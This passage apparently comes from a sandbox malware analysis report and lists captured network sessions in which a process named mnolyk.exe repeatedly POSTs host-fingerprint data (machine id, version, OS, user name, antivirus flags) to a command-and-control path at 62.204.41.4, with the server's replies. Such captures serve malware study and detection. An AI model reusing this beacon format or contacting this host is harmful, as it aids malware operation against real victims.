Feb 6, 2023 18:36:24.349766970 CET	541	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:36:24.414799929 CET	542	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:36:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
104	192.168.2.7	49829	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:36:24.582432032 CET	542	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:36:24.644867897 CET	543	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:36:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
105	192.168.2.7	49830	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:36:24.829107046 CET	543	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:36:24.891784906 CET	544	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:36:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
106	192.168.2.7	49831	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:36:25.110774040 CET	544	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:36:25.174256086 CET	545	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:36:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
107	192.168.2.7	49832	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:36:25.351768970 CET	545	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:36:25.414864063 CET	546	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:36:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
108	192.168.2.7	49833	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:36:25.603473902 CET	546	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:36:25.668282032 CET	547	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:36:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
109	192.168.2.7	49834	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:36:25.833187103 CET	548	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:36:25.896348000 CET	548	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:36:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
11	192.168.2.7	49735	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:36:00.278414965 CET	442	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:36:00.341404915 CET	443	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:36:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
110	192.168.2.7	49835	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:36:26.067780972 CET	549	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:36:26.131688118 CET	549	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:36:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
111	192.168.2.7	49836	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:36:26.304985046 CET	550	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:36:26.368634939 CET	550	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:36:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
112	192.168.2.7	49837	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:36:26.550389051 CET	550	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:36:26.612377882 CET	551	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:36:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
113	192.168.2.7	49838	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:36:26.789628983 CET	552	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:36:26.853873014 CET	552	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:36:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
114	192.168.2.7	49839	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:36:27.025983095 CET	553	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:36:27.091368914 CET	553	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:36:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
115	192.168.2.7	49840	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:36:27.290138006 CET	554	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:36:27.353770018 CET	554	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:36:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
116	192.168.2.7	49841	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:36:27.522197008 CET	555	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:36:27.586823940 CET	555	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:36:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
117	192.168.2.7	49842	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:36:27.765216112 CET	556	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:36:27.829616070 CET	556	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:36:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
118	192.168.2.7	49843	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:36:28.008838892 CET	557	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:36:28.074860096 CET	557	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:36:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
119	192.168.2.7	49844	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:36:28.246222019 CET	558	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:36:28.308918953 CET	558	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:36:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
12	192.168.2.7	49736	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:36:00.525448084 CET	444	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:36:00.590553045 CET	444	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:36:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
120	192.168.2.7	49846	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:36:28.476052046 CET	565	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:36:28.537834883 CET	566	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:36:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
121	192.168.2.7	49847	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:36:28.712472916 CET	566	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:36:28.774358988 CET	567	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:36:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
122	192.168.2.7	49848	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:36:28.944538116 CET	567	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
